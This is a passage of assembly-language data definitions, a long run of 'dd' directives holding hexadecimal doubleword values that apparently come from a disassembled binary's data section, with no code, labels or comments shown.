9D01CAABh, 27CE990h, 0F157B30Fh, 110A630Bh dd 474AAFFh, 4618CB09h, 87BDB0CCh, 676207F1h, 6F73EEBh dd 1624C844h, 0D14768F0h, 4EC5000Fh, 0C07E7AECh, 74FB8361h dd 89F09043h, 47708800h, 3C4AA72Dh, 731A1453h, 1F10CC68h dd 7CBC565Bh, 48D44B56h, 8C25E844h, 0FE605636h, 0E918C191h dd 0A889FD98h, 0F215C411h, 41D42E43h, 0A47C3014h, 5437058Ch dd 383CFC12h, 3F0145D4h, 0C325C154h, 0E203787h, 7A0A1624h dd 31A81FBCh, 220DFB29h, 44090068h, 0EFA7130Bh, 0A23CA988h dd 540B4118h, 1C4CFC0Ch, 0E93F00B8h, 2B963554h, 0A5F2761Bh dd 38988626h, 78207C02h, 59910216h, 0B3E0306Dh, 12C54518h dd 9FC7082h, 0D8AC63C8h, 48C2F50h, 1A41C20Ch, 2CCE3Bh dd 0D4C204D2h, 26FA29C7h, 3F53DEC5h, 0E3745001h, 20431DA5h dd 80ACA12Ch, 9543E02h, 16B004FCh, 54E64603h, 0E108A7C4h dd 0A0EE9CF7h, 6B2A36F4h, 2DF200CAh, 0C0C5CC4Bh, 7F048B4Ah dd 7A04BE58h, 14BAE888h, 9426BCE8h, 8F39C900h, 59432C5Ch dd 0E9469890h, 0AACF2702h, 4F3141FCh, 0CF883413h, 0BB177F21h dd 1C0F95D1h, 601FB21Dh dd 24DCD4h, 1288D97Eh, 122C8934h, 854C120h, 0ABC00770h dd 46112DBAh, 3C887ED0h, 4ABA00A3h, 0EF137EBEh, 9B488C49h dd 202C7220h, 246234E0h, 81B4CCD1h, 0D1832DCh, 1A36C208h dd 4067C443h, 0E2C205D5h, 0FA020047h, 44208D10h, 0ACE89A9Eh dd 0F4682966h, 77744E0h, 0A9289C31h, 32E1A34Bh, 85805432h dd 0AC52D1A5h, 0C03690C8h, 1A42C209h, 66226346h, 0C241D100h dd 0CFA54C71h, 0E55C05AFh, 8AF7C6BDh, 0B0623DCh, 7085BAA8h dd 5DC8EC8h, 0B1BAA03Bh, 742714EBh, 123035A2h, 1A3710C2h dd 0AD4E00Bh, 0A8CC00C2h, 9D6246Dh, 9109DA8Dh, 855D100Eh dd 0FC985474h, 6C2012DCh, 2540347Eh, 617C80A4h, 0F8FEB65Ch dd 9A198860h, 0D27F28E8h, 0C1286430h, 1C81CC84h, 2F724A63h dd 854D107Ch, 0E9A1F6CEh, 0C8D281EAh, 0F0008D6h, 0DC1D8F87h dd 48488A37h, 6AE8D8AEh, 0A5B30E8Ch, 3863040Ch, 0B8811ABDh dd 0FDB88980h, 11549DB9h, 3F9D66h, 0C31E045Dh, 1852C485h dd 797EDC3Ch, 9500E79Fh, 2D89D862h, 7C207C0h, 0E2A83B47h dd 8102B1Eh, 0D9029E84h, 983692A4h, 0D9010FCh, 66C80F14h dd 0F0127CE0h, 340067C5h, 0A3D912D6h, 0DFE3265Ch, 0EACF40E4h dd 0AB00D3DBh, 2FA5DCEBh, 1C7A343h, 1A275C04h, 63BD1B99h dd 0C558B734h, 4BC5814Ah, 42F87009h, 9774F0A0h, 958298A8h dd 75513000h, 0F02B61ADh, 69B90402h, 0D38820BAh, 0D0002E74h dd 91809437h, 4131D802h, 3054ED6Dh, 4102F91Ch, 7BA8AC79h dd 0A984A07Ch, 757ED609h, 5DB5002Ch, 98EA3467h, 3E003564h dd 0EC2E0FADh, 25DB8208h, 0CC1DD51Bh, 6806A11h, 6D5C87CAh dd 1A511E03h, 48228F0h, 869D55B8h, 26CC8875h, 808014B8h dd 302E1631h, 0E141246Ch, 0D05080B1h, 1C6974D1h, 0A78C816h dd 11BC706Ch, 544380A0h, 87DCFC0Eh, 54EB4901h, 5870DAE4h dd 0B274445Fh, 0BC4CE65Ch, 0F5008C81h, 8AB64E8h, 0F9074B19h dd 0C77656E4h, 0C2AEA8D8h, 64645E46h, 0A6024046h, 0F81130BAh dd 35000CC7h, 1FABBA9Eh, 16200ECh, 0FA92AECEh, 4496AA9Dh dd 7DF57A06h, 85DF31D8h, 0F5F92BE1h, 4108253Dh, 47970570h dd 1806C1A0h, 87F09E7Dh, 13BD602Ch, 0E49292F1h, 0BAAD3005h dd 0A0112B11h, 3A802888h, 778BAA5h, 17F84AE7h, 104C2FC8h dd 87DF8480h, 896FFF95h, 48C764C2h, 23606C44h, 0B0738CAAh dd 6FFE3C00h, 37E2C87h, 7B1CEA5h, 0F460E024h, 7811C794h dd 742A874Fh, 0C5FD0AA0h, 95B070EAh, 277FAC1Dh, 7800E1F3h dd 9EC20EBBh, 0B126B0A3h, 4674CC93h, 97DB2E4Fh, 0DC82BC07h dd 0C45847F9h, 0CED06067h, 0B15C1E9Bh, 211BD66Dh, 8C7FDF00h dd 1E42EC29h, 0FFDE0022h, 58032E45h, 9E4C30BFh, 79F010DCh dd 10703129h, 0B8ECD077h, 85434Bh, 958E42EBh, 92577B0h dd 0FB7E57D0h, 270D68C9h, 0B8D0581Ch, 7844383h, 0C40451BCh dd 30405A97h, 8EA948h, 9402F163h, 1B9217DAh, 6BE4A8A5h dd 0A09EC560h, 0F725D300h, 0ABBCBE1Eh, 0BA410361h, 0C0F9389h dd 12B8E948h, 0C019B01h, 6D14DE63h, 0E817D0A7h, 60854C88h dd 69C7B04Bh, 35D3821Eh, 82C015D4h, 471889FCh, 655F448Ch dd 0CFD97380h, 67500B45h, 4CA91797h, 26E4C445h, 9DFEA560h dd 180DC22h, 725E0631h, 0D859C889h, 861E6FD4h, 1C2492DDh dd 2C80EC91h, 49FCABCFh, 37C00899h, 14B3CF35h, 74137EFEh dd 10277119h, 86121092h, 40CD00A0h, 9909A86Dh, 1E293EEh dd 971B8F2Dh, 80791174h, 0ADC33FB8h, 197560DCh, 7B41B7FCh dd 335F3000h, 89495AE8h, 0C6470044h, 0A32550ADh, 0E916EECCh dd 0AC207ADDh, 4A8A7Bh, 0B7FA79E0h, 0A224AADBh, 7A1FA491h dd 9500F8AAh, 16B5B245h, 6BB999h, 0A573C1C2h, 0D2C4C53Fh dd 0D8A97E01h, 7CA0201Ah, 31CFA874h, 7741FB98h, 428FE9BFh dd 2B30E5B0h, 0FCA612CFh, 88B21h, 4ACF3830h, 7F43ED57h dd 70D018A1h, 0CE9FA19Bh, 6201DA00h, 98B92EEFh, 82E4B4FEh dd 7B469DFDh, 9651A800h, 201C986Eh, 5D031660h, 0F4E884C4h dd 34100E75h, 0D053F3DCh, 0FD7DD9F4h, 46C92A00h, 0CEF9BE05h dd 0CA010BF4h, 27F89F6h, 6351F32Dh, 2486D9CDh, 4B4B1AE0h dd 23002F69h, 813A0082h, 0B859A90Fh, 7A14D54Dh, 727D401h dd 0ADD8AE45h, 0E842DC25h, 3CB44471h, 18EF09F8h, 838C904Ah dd 0B9C8F0A3h, 200A3D91h, 5E4194F4h, 0BA3603F8h, 2028B0B8h dd 0E72D6A93h, 0BF389785h, 0C560046h, 0B6C998F8h, 85710B1Ch dd 0A061F6C5h, 6CC880A5h, 562E7F9Eh, 0D0021DC3h, 5826E015h dd 4674D4C2h, 9FE2004Dh, 0C86941DAh, 9671307Ah, 0E93903F9h dd 0E0116100h, 748AFFF7h, 0E3D501CFh, 14931F6Bh, 2DB42580h dd 4CB8B0h, 729DC7CCh, 98C0D67Eh, 1892F476h, 524058B4h dd 1DAA5Eh, 15463836h, 0CE4B3410h, 1805A424h, 7FD68900h dd 0EE5CBEC7h, 60A00312h, 9F35C56Ch, 75580AF8h, 847F10C0h dd 18BEE17Dh, 30C8592Eh, 400A781h, 133EABA0h, 66467D41h dd 21B00803h, 0A00D091Dh, 0C274D1C0h, 0ECEDAA5h, 5D54DF6Bh dd 2958FC8Fh, 8300750Dh, 0B49599CFh, 3013C7DBh, 0A1998285h dd 393E7DEAh, 60A29CF8h, 8CA3030Eh, 0BC2164h, 1DD97DF2h dd 0E835E9E5h, 88D0830Fh, 623CA317h, 0E7280081h, 71D22A04h dd 68C1EF7Fh, 5E0E3F76h, 5CD42083h, 91785FB2h, 42379E0Eh dd 9D3860F0h, 0CC203FC3h, 0FD21D208h, 53422F00h, 0D5FBB40h dd 87B1B68h, 0BCCB41C4h, 0CE95291Dh, 0ABF838C0h, 7D3DD41Ch dd 22F60CDDh, 0B6C17585h, 0D29C1200h, 8C9DA04Eh, 1ACD017Bh dd 8048A646h, 0E88425Ch, 87DEF30h, 0A303F834h, 0C1456D64h dd 58D606F7h, 4B0091B9h, 8F340D3Fh, 0EC6BA24Ah, 0A6E8C6h dd 5AFE58D3h, 2857E1A9h, 0D440BC3Dh, 0E1F6B98h, 0C45CC059h dd 0DF62D340h, 692883Bh, 0E0B9C340h, 0A0C87118h, 7DEDC010h dd 0D356F83Ah, 6522D8h, 0DE7DF5BFh, 4631759Fh, 4536790Eh dd 2032A2BAh, 40384274h, 0C2B4C469h, 0C25FAA78h, 0C63AA8A0h dd 9B067F8Ch, 0BB5E4999h, 85880319h, 25AEC0E3h, 97F9F6BBh dd 4809E0F9h, 235C4248h, 0A007002Dh, 40FB3EA8h, 6B54486h dd 2CA0101Eh, 8D594EC3h, 76180CBFh, 57719A45h, 97946354h dd 0BACEB41Fh, 8CA3778Fh, 0E8061946h, 5F5630F5h, 88A73C11h dd 0CDE60901h, 0BDDDC2A3h, 21720898h, 6C98AF22h, 40E93001h dd 0C3F56B7Fh, 29E59183h, 7EE18D2Ch, 0D023DBE7h, 0A00B0131h dd 18DB3EA4h, 140288AEh, 5701FAB0h, 0D57E42B4h, 79806C56h dd 94F7709Ch, 0F800AA1Eh, 1A557A71h, 1E90A028h, 0C52FD0E6h dd 61440Ah, 3E3B08CCh, 149A6042h, 1EB40B03h, 7057B1h, 16D16E51h dd 0F104E521h, 30A54400h, 54E44BD9h, 0E3C301B2h, 0E72FF8A4h dd 32C89141h, 32A00887h, 0AF31F33Eh, 0A0110510h, 2D03FC7Eh dd 539689E2h, 0C0B29869h, 29070102h, 1A04DD46h, 77F420B7h dd 0BC141C92h, 0FCCC4E43h, 33038C71h, 1C424626h, 56F81864h dd 0AFC32165h, 680049B8h, 8AA875B2h, 36344CA6h, 709879C9h dd 0A402F246h, 0D5E60C88h, 21107831h, 0F0F88ACh, 801953C4h dd 420204DEh, 3E0C183Fh, 544CD8CFh, 60973D30h, 2632F7FCh dd 84DC5E5Ch, 80B678D9h, 0D537E09Ch, 6C9BACFAh, 0DB1F3917h dd 6C670853h, 320380D8h, 0BC07DA42h, 6B6FC61Ch, 83C5FD48h dd 7E793440h, 10A87848h, 0BC01C706h, 40DF9229h, 0F4F09166h dd 0A88A680h dd 87C5E6h, 6588AE23h, 0DA0085D6h, 72DB306Eh, 50FE6C11h dd 742C3CBBh, 0C16B8191h, 3E1982C7h, 0A702554h, 15F90E38h dd 16A0627h, 0C303E850h, 5820020Eh, 448940C3h, 0CC810424h dd 40211809h, 76C35000h, 425A55F1h, 418D1409h, 57232621h dd 44C35F0Eh, 1C627C89h, 0C3574720h, 7E4C38DFh, 74E9B88Eh dd 5548760Ch, 0C35D398Ch, 886C8911h, 55458019h, 582B5EC3h dd 1AE22903h, 99FABF0Fh, 258C2086h, 0CD0B06E8h, 8D854803h dd 0AF898E6Bh, 18BE1026h, 2509E95Fh, 68F41E3Eh, 38B004F2h dd 7E5C557Eh, 40F5714Eh, 24294460h, 1A74670h, 4F2E961h dd 0B5110A80h, 0FE83B045h, 38E78E01h, 7BA84DBDh, 0C300FA3Bh dd 0F1A64FBFh, 0FF074EBAh, 0A8FA3884h, 38A80009h, 0F565C65Dh dd 0A7B71D20h, 9E0B401Ch, 45F77816h, 0E7864F00h, 3204C696h dd 3CED309Dh, 446D6F52h, 4175E501h, 0DB0D94Ch, 4240AE3Eh dd 0AD1D9D96h, 0D85B00C8h, 0B6352E68h, 63005046h, 0B8286EDEh dd 1C497E31h, 8A647AEAh, 0E024BC39h, 4EBE3EF5h, 0FC78A700h dd 71A51570h, 83B3009Ch, 9D99096Eh, 0C03EEF96h, 81448C07h dd 0BA4158h, 0D7D9A350h, 4152CECFh, 98876E02h, 0E16BAB1Bh dd 28833C1Fh, 29208F26h, 97A8E7C0h, 0B2704C2Ah, 3E24602Ch dd 0BFE45F03h, 0BB2E09F2h, 958CFDDFh, 0D900EA11h, 2E858DAh dd 31212897h, 24481A9Ch, 1980170Dh, 0C2B9Bh, 0C9B13D1Ch dd 967E6CF2h, 39C52401h, 0A5EC57B8h, 77485389h, 0E8138155h dd 0B8B93E78h, 0DD5C5500h, 4E63296Dh, 0B78EEF0Ch, 5E593392h dd 220C0048h, 85EC84B2h, 9B985A00h, 46C3A717h, 0A2730EE3h dd 24782E8Dh, 3418F89Dh, 431A624Fh, 5A0744Ah, 0B5979F0Fh dd 13B5007Ch, 2DDE8CA3h, 5A5CCC1Fh, 0C7F68Eh, 0D7831282h dd 9C3500FEh, 93193A74h, 0D137F8CBh, 8BB190D4h, 70E032DFh dd 178C60D5h, 4DF363E2h, 80537C3Ah, 24045C79h, 0EA8FA9h dd 36B77416h, 0F8D747AAh, 0BA06498h, 0E060B8E1h, 0C232B63Eh dd 557D5Eh, 5478DF79h, 1F9A705Fh, 4499B00Ah, 0BF24BB7Dh dd 8009BB22h, 0DF3AC624h, 810AC3DAh, 9BA1E85Bh, 8F7B4C80h dd 318CA5h, 0D259D5C1h, 0EE5EDCEBh, 9A180700h, 3522EC2Ah dd 6EBC00CFh, 0A8421E7Bh, 9D00056Bh, 87E48965h, 13454017h dd 0FCFE06Fh, 0DB20C6CFh, 0B0E656D6h, 802BDF06h, 229C762Dh dd 0A7403B93h, 53600156h, 309581F1h, 1171E089h, 68D4A112h dd 61550D00h, 0CA5A7Bh, 2241E3A5h, 0F31B8A60h, 0EFC25D60h dd 6092312Bh, 1D2E114Fh, 9B0C426Dh, 74C94BAEh, 0E50144D1h dd 5900247Ah, 7FE7445Dh, 782C9051h, 1F7A00CDh, 62B18601h dd 0BC79C9F3h, 5668471Fh, 2B6BDB80h, 0E06152h, 0A1494670h dd 0B6299073h, 74F73C00h, 48A56604h, 6D3D03D8h, 8BFB7DC9h dd 0DFB28Bh, 564A37Ah, 0A00D4F4h, 30DA4AA9h, 28F972Eh dd 8E169B76h, 767D79BDh, 8C25140Bh, 0EF048839h, 0EF9366AAh dd 6C0C36FCh, 0B013C209h, 0F100D6ECh, 0DC532292h, 6A7EF5Fh dd 6DD839BAh, 559F2724h, 731A5A82h, 88F8F780h, 3502B8EDh dd 0BB9DBDAEh, 0CF8FA409h, 80A1A8FAh, 44A6ED5Dh, 0CE275D4h dd 0F6529EFDh, 0DA00EBACh, 40C1F2DCh, 13F93AD0h, 0EA6B0A7Ah dd 70DA1B0h, 3BB945A4h, 0DDF210CBh, 7F00FC2Dh, 981A070Fh dd 0CF5EE28h, 150E0878h, 1B98FEBEh, 0E7CEBB00h, 0FC6CCFF8h dd 218C1819h, 4CA7A41Eh, 550005E1h, 0F22AC030h, 0DE0E2CABh dd 3C125Bh, 0F6BF9067h, 0A8671409h, 51D76AC6h, 73CEAFD3h dd 0A70C001Eh, 0D3E0D646h, 0B900FD6Dh, 98FFEBC4h, 1C582925h dd 93481628h, 7A55061Dh, 5F63B57h, 3336651Ah, 0E9AB4010h dd 6CA8320Ch, 9D908497h, 6007040h, 3C0D169Ch, 128AE9FAh dd 1A47B1Ah, 3A64DFEAh, 0C2CC40E7h, 29FE6857h, 0B11F4890h dd 2040380h, 138004B4h, 0EFEDE3Bh, 8C9D108Ah, 841A9984h dd 82F9EF00h, 1CA8FC01h, 0D4189B88h, 0AC00E387h, 5DA94D01h dd 1CF451DDh, 80BD9284h, 68AE1EA1h, 0A612B897h, 6F002C8Dh dd 0F44FE585h, 16B1E865h, 0F7DB61Ah, 0EBE3DC9Fh, 0D6271E0Ah dd 9060D5BFh, 0D0001FE0h, 7EB2E79Eh, 7BB68D51h, 169F005Bh dd 0C251122h, 562C3FAFh, 0BC01ADC9h, 0DACD6839h, 2C7CE3E4h dd 40C77651h, 4D6650C0h, 8D5FEB2Ch, 607E9CBFh, 2982C780h dd 4C6956D3h, 6F00E558h, 0AF989E0Eh, 85000126h, 0B6FDADA6h dd 49D1C535h, 0D6007CE0h, 479C43EAh, 800B75Eh, 6AD43CBFh dd 27D28B90h, 0CAD77161h, 0C40A62BCh, 0FFF34E8Ah, 0EFB42ECBh dd 14C71EF8h, 0B5E23724h, 830B07C2h, 1C8766EAh, 10525C2Bh dd 7F27FF6Fh, 0EF90E6C5h, 34DDDFh, 0B72FB3B8h, 0D800F713h dd 5606E0C1h, 31953BEh, 0F0290C1Bh, 42C3685Eh, 0B724A138h dd 0A62F6283h, 488150h, 70713E72h, 5108468Fh, 77C9B973h dd 31D58501h, 8B591102h, 84509434h, 8B538106h, 89536A81h dd 57C381E3h, 1C106866h, 7F7BE900h, 7C0CFFFCh, 1D4B4600h dd 32B84C56h, 0FF184EFEh, 0F5454FD0h, 0E74D006Ah, 363F760Fh dd 77002AB8h, 4969E1FAh, 728BF58h, 1EFFBE68h, 0DCA09F08h dd 2D384C20h, 1D802700h, 9821446Ch, 0EE3700CCh, 4574FF12h dd 8007D06h, 3EA0A24Ah, 3ACD7EA9h, 0C5803D78h, 2F38E833h dd 0E1071021h, 19702409h, 518014C4h, 5913299h, 0D7155D77h dd 0A89E009Bh, 0F20C8CF6h, 3B9AC307h, 33C0B27Dh, 0E04CDCh dd 50F1BC5Eh, 5CF31E56h, 588B3E07h, 0C1411739h, 5622860Fh dd 0F8BF1476h, 9449CEBh, 7E822F2h, 2C1EB705h, 21C0217Bh dd 0EBBE66h, 858D5FAEh, 615279Dh, 504E90F8h, 51F388FFh dd 5E616012h, 6ADC961Fh, 9FE303Ah, 0D908F9BDh, 0C18F4438h dd 0DCBED819h, 20C0330Eh, 65056983h, 6019E47Fh, 0EA8EBFB6h dd 666A0301h, 8A49D781h, 0F98B62EFh, 5A657D4Bh, 2F215604h dd 89C8C35Eh, 15448C74h, 0C3561646h, 0AE05FBCAh, 2308F9EDh dd 0C35BC353h, 185C8991h, 5343881Dh, 870FC339h, 0C145FF2Bh dd 79111B30h, 4BF27C8Bh, 93855083h, 60D6910h, 267995FFh dd 0DB7EC10Ch, 0F99D8D87h, 895E209Ch, 0E4ADB53Ah, 0D2B2D32Dh dd 0C83017F2h, 0EFE20C7Ch, 0DA1910E9h, 8069373Ch, 0ED5B6489h dd 73EB516h, 0D68D7E4Dh, 0C695C5C3h, 853A79B1h, 81A5E035h dd 252AD0E6h, 0DC8671E9h, 5DE055E8h, 9955EDFEh, 52AC91FBh dd 22C35A87h, 1A315489h, 0C3524210h, 2BA5FB00h, 0E6F12939h dd 0FFE70781h, 6233FD99h, 2F49ADBDh, 416225D0h, 5018878h dd 16232B3Ah, 581F2204h, 0BD2A2297h, 0AB922713h, 0C3593051h dd 4C5289E4h, 51418427h, 0F85FD880h, 88A09089h, 0E0E381DBh dd 4D23E101h, 43301AB2h, 0C17B060Ch, 0F2152A55h, 310825A4h dd 322D4585h, 2CE1F1C2h, 237EB40Fh, 97DFD800h, 0C012E9FBh dd 59427015h, 48007DC6h, 734BACD5h, 0F9D613h, 0F6C979B0h dd 65BD8312h, 6C18FF30h, 0DD11840Fh, 0F6B7813Fh, 818BE9FCh dd 95295213h, 8885226Dh, 1A85C75Fh, 7D1DF81Eh, 0EA801911h dd 15B3C6B7h, 8FBE2B02h, 6017EBDEh, 2962E754h, 0D92F4AE9h dd 33181Ch, 0AAE2990Fh, 0A9FAE14Bh, 0E934BDF2h, 6327C817h dd 8352BF08h, 9750D400h, 0F0EB4178h, 4A65222Ch, 0C17A5E00h dd 486259A6h, 9AD0268Dh, 2381F903h, 3997FEFFh, 0D7812F37h dd 8E0F2945h, 0BD894A40h, 90209A6Dh, 0ED8DF0C3h, 8C66C550h dd 78B69BDBh, 0A50972C9h dd 0E43AC63Ch, 292002E2h, 7DEF1DDAh, 18096360h, 34205F81h dd 0DDA414C7h, 195085F6h, 72418A75h, 0D52BA1A1h, 8A1817D1h dd 7AE33818h, 751BD666h, 90EEC97Dh, 0D9E99A81h, 4702350h dd 38B3FB58h, 60326380h, 0AAB9005Bh, 1571E30h, 0C8263C27h dd 4674F090h, 6F5B001Ch, 0EC9613Ah, 0BCF52884h, 0BB920B9h dd 934FE92Ch, 795874A3h, 4CE30CCAh, 7F190AE8h, 0A6108E0Fh dd 22D3C17Ah, 26614F36h, 0B05F22C2h, 14913797h, 26D31D8Ah dd 17DDC24Bh, 0C070E603h, 0C50379B5h, 8E71E410h, 0C015883Dh dd 0E9605E09h, 0AF170560h, 621BABB1h, 0C41703Dh, 0B60F6100h dd 142FB2D8h, 4CBA205Ch, 0F6F6E5Ah, 0C03EA10Eh, 0B3A8EE9Ah dd 1D0C437h, 0C3921D08h, 1423003Ah, 0BF0BF126h, 69A298F9h dd 934B008Ch, 5E26539Ch, 0C102FA8Bh, 0F76604E8h, 70F5DBE2h dd 37175C30h, 104EDCBh, 2B050119h, 2F66FD8h, 5093F9FDh dd 0F79D4052h, 5A31190Fh, 100E9A58h, 41F427h, 16C87F4Fh dd 2F59DD9Ah, 0EF5E330Ah, 0CD40E1E8h, 3E065C51h, 3FFE530Ch dd 0BB0935Fh, 8E9141Fh, 2E1B6600h, 35253F51h, 5E8AA039h dd 0E0B558FFh, 210A0492h, 9D89012Eh, 0CA80A75h, 0C73FA267h dd 601B441Eh, 38872Ah, 0D5926D76h, 9585090Eh, 95622649h dd 6DAC26h, 0C43E1A46h, 0E6EA6BCh, 27B9B2C4h, 5F013C09h dd 0AD025283h, 92679034h, 96A001C6h, 0AA903950h, 4E7325D1h dd 0C01888A5h, 14759F9Eh, 3A60E626h, 122BA03Dh, 7461D98Bh dd 882DCB98h, 0C1A8C01Ch, 350279C4h, 23CB8DE5h, 5987E060h dd 0DD618122h, 0F0B466C3h, 1CC61C7h, 2AD9ECEAh, 25FCBC01h dd 911C6091h, 0B5C91E61h, 0CA923DDh, 181DF99Dh, 1237F3Fh dd 0E2B9E30Dh, 20EA078Ah, 80520F9Ch, 0B5230992h, 58392409h dd 1988368Eh, 0A5EC56C0h, 0EBA83136h, 402D9BCh, 0C54768Ch dd 631970CAh, 40208881h, 0F28B1E01h, 28A4D52h, 26A9282Dh dd 1DA52BB9h, 8018113Fh, 80BED1DDh, 547D90A3h, 7083A7FDh dd 0D93B04C1h, 40FE860Fh, 0C274D781h, 15225C58h, 20C9987Fh dd 0F62C2D99h, 0C091E3C1h, 1638BD4Ch, 0F9362B8Bh, 0D6ADEA14h dd 0D34E7960h, 29160A09h, 8A28120h, 5B0F10F5h, 4D37360Fh dd 5C84DD7h, 448D8501h, 9BC32BDDh, 4863C0E9h, 317CF4Bh dd 0F687D890h, 0FBD17ABFh, 3D2C7058h, 0A6083425h, 833D3F30h dd 831751E1h, 5F441AB8h, 0E92C7198h, 0FC5A50h, 7BC9B448h dd 5C3058ECh, 89340588h, 0A2EE23C0h, 0B8DE301Ah, 8847C901h dd 0F38B7B57h, 0D844DFCBh, 1B88338Eh, 7402AAC0h, 4DA00963h dd 15817140h, 0C7585h, 2846DA80h, 88D5C761h, 256D5DE8h dd 0D1B75B26h, 23C0102h, 0DFBE90E8h, 1F390259h, 668991E9h dd 100F30E1h, 7B042086h, 8D1E00E5h, 0CC306876h, 0EE053B8Bh dd 615E507Fh, 0D2C0D70Ah, 1194674h, 112D9EE8h, 0A560331Bh dd 704B9CFAh, 9E15185h, 7AB6A2Ah, 0E1ED7CC9h, 0CC81EFE4h dd 0C6390561h, 61763741h, 0F81A30E0h, 7E29DC02h, 0CC131B31h dd 44D187CCh, 92CF601Ch, 1BC6024Fh, 98945D4Eh, 0F36C93EAh dd 4A7020BBh, 0BD090C87h, 9046254Dh, 5F1261B9h, 1523873Ah dd 582AAE39h, 9A109260h, 14C20097h, 7CDFA005h, 0E2B1E82Bh dd 999F5207h, 5EC1C230h, 0F8033AADh, 55B50B09h, 3D2749AAh dd 0ED6E4Eh, 0BF8B30FDh, 0E80BF54Dh, 2C7B28D7h, 198D2EE1h dd 0D50CB130h, 1A92620Dh, 0A0D0491h, 32ABBA8Bh, 0DF1B78h dd 733AD1C1h, 96FFBEF9h, 0E97D2112h, 0C4E23FD4h, 1458D002h dd 0F558E2DBh, 89BF9202h, 9D28CD85h, 80141141h, 47BE502Ch dd 229D1202h, 23693A5Fh, 6C560A15h, 34550887h, 0F6B3E904h dd 0F9A0B3E7h, 312A3F4h, 5E441DBDh, 8D8EC18Bh, 90C51488h dd 0EC4DC1B6h, 93009ABCh, 295AECBDh, 0B609A58Dh, 39F18B18h dd 3148D766h, 21D20E6h, 60CABF50h, 8FD8472Eh, 18ABFFE7h dd 0FD4DD576h, 9B7A5AD0h, 4A97BB19h, 5812FA3Dh, 4203B689h dd 370B0BC7h, 724280E8h, 0A99ABA10h, 986CED0Ah, 0AB27F7CBh dd 90296038h, 0C8524C50h, 89310F1Ch, 41D30C8Fh, 16AB2683h dd 5EE1F9EBh, 0BE007F2Ch, 42CA79A0h, 0BD242990h, 0ACB4AF01h dd 80C3309Bh, 0A2105348h, 5E011E7Dh, 0CA0FBE66h, 0A70E776Ah dd 32C06E0h, 91810077h, 6056B851h, 0A134BD2Bh, 4A856619h dd 0A061BEB4h, 5E7D95DCh, 3A337510h, 51623D5h, 0E3C846BBh dd 40C2484Dh, 275E8999h, 992E4F34h, 0A8141423h, 2E591797h dd 2541379Dh, 0E900161Dh, 38BC089Dh, 840BD158h, 7660D88Dh dd 309D01F2h, 0BF68144Dh, 8C2F832Bh, 45381E47h, 0FDA741D6h dd 799D111Dh, 88B10B0Dh, 0A514C01Ch, 10052AAEh, 3672A082h dd 2DA9EF05h, 74D023E2h, 28C18A8h, 0C75A487Ch, 63DAE871h dd 0D14A5D00h, 0DD77FF8Dh, 0BB4E4814h, 30496A03h, 82FC3BE7h dd 8DA5F123h, 1B2A25Fh, 56AED9F8h, 19C0BD9Fh, 1C27AD3h dd 136C6E34h, 79E72E99h, 9FD62D46h, 801D11D3h, 0B6F9F49Fh dd 7C1427DBh, 0BD83EC80h, 195E0A26h, 352E4F4Dh, 0E5C06F5Bh dd 95291502h, 1843D549h, 0BE23ABE9h, 0FD3C0557h, 1085C744h dd 3B5EC53Bh, 1A233Ah, 711E190h, 0EA05AA3Bh, 5880F52h dd 18B93800h, 0BC5F7FA1h, 21A84038h, 62006D86h, 0FD735DE7h dd 1128B25h, 67CDE644h, 2C52E901h, 8C1AF83Fh, 53D31803h dd 9DFD8D2Fh, 2C0A7627h, 1B4676h, 26C94935h, 2C1AC8E3h dd 125B0FA0h, 0F898328Dh, 95A58DF3h, 801D9127h, 0FE63EACDh dd 0E5E30099h, 8174666Bh, 44172EEFh, 86850367h, 2AEDD904h dd 6554C816h, 516E4BD7h, 0F145205h, 8CAF287h, 51195B5h dd 0D4CD9D09h, 0B99B3D2h, 0A519B533h, 0E48150EAh, 0D265F47Ah dd 1488800Eh, 0C7D20AC5h, 0EDE90120h, 886A4E03h, 0AD3EC01Dh dd 0DA02EB63h, 0C40A36B7h, 11F3C1C8h, 0E0B0D992h, 0D9055ED9h dd 70E632B7h, 1D184085h, 94820F20h, 55E99436h, 880E83Dh dd 0E04AE2F9h, 0A500D1D2h, 5B8A8E19h, 0BFB1F39Bh, 71E49340h dd 5E78E493h, 66CF3FD2h, 1A68DE8Bh, 6DCDB842h, 0F9F6DE1h dd 0BCC46FAh, 1D7E2EFDh, 0AF3DB642h, 6D8F1080h, 0C9DB11h dd 0B3CA29B0h, 241B52Bh, 0A18BED94h, 0B655C604h, 0CE06D421h dd 92CD73ADh, 0BF12050h, 662EBC9Eh, 81294BDCh, 217FE4BBh dd 6809D9A5h, 91E88BD7h, 8B40A9B9h, 16DC1E3h, 0A6F2B63h dd 0DA5EB453h, 17D13A79h, 0B91F0A18h, 0C6C1D1DBh, 272F1B4Fh dd 299DF70h, 8976DEF6h, 31CD241Ch, 0B1DC60E0h, 0A42A027Ah dd 640CBEA5h, 84BC8A71h, 73CBAFD2h, 500B68E3h, 393DB05Eh dd 0F1BED002h, 0EBFE40F9h, 93A190C9h, 0F6A078DCh, 1106AB04h dd 9E85F13Eh, 0F1033EC2h, 1E5884Fh, 10136325h, 5522D122h dd 68D94792h, 66E68180h, 9143D1A2h, 9D298676h, 4BA15771h dd 49128850h, 405F1211h, 0BD31602Dh, 16DD0E09h, 0A96719EEh dd 6DB9A4A0h, 985A008Bh, 41560839h, 450135D9h, 0B196E1CFh dd 4BC6619Ah, 778A9E29h, 0F11C91BBh, 4FB1819h, 0A0EC8334h dd 827085BCh, 0A6FA2FF4h, 45F7BC98h, 0C0F7DB8Dh, 78BF3C93h dd 0B2E2D7Ch, 0BC02E093h, 835D4BC7h, 649EC7C1h, 14566017h dd 0DA1B51C9h, 0C170E069h, 0ADBD33B1h, 0F55F2B10h, 46747FE4h dd 800A0218h, 0D955F37Fh, 38DCACBAh, 8B066C45h, 7BBF8Ah dd 63688F65h, 0D9591DF4h, 0C0139488h, 7824B00Eh, 97140044h dd 374640CCh, 163F5285h dd 8B31968Ch, 0A5B0083h, 0C32BF008h, 0A6E705B7h, 22DDB6D3h dd 0BE660332h, 61E9A221h, 0E8B3C34Ch, 0D6008C1Ch, 0DEE026F4h dd 1EF9CCh, 28D5BE3Eh, 0C08B0B6Eh, 0DCC9B4h, 333945E7h dd 8CB8AB20h, 0F18CE84Bh, 8D951029h, 2588500Ah, 6F5B697Ah dd 13E9E246h, 10A5002Bh, 0A9071F37h, 330050F0h, 0B30C7B29h dd 0E85A4CFBh, 0ED2D5CE9h, 0D34C904Bh, 305C081Fh, 0C2F732CAh dd 80C1DCE8h, 11D3560Ah, 3B005901h, 108712B4h, 0B65F81B9h dd 0AF66797Ah, 9373Dh, 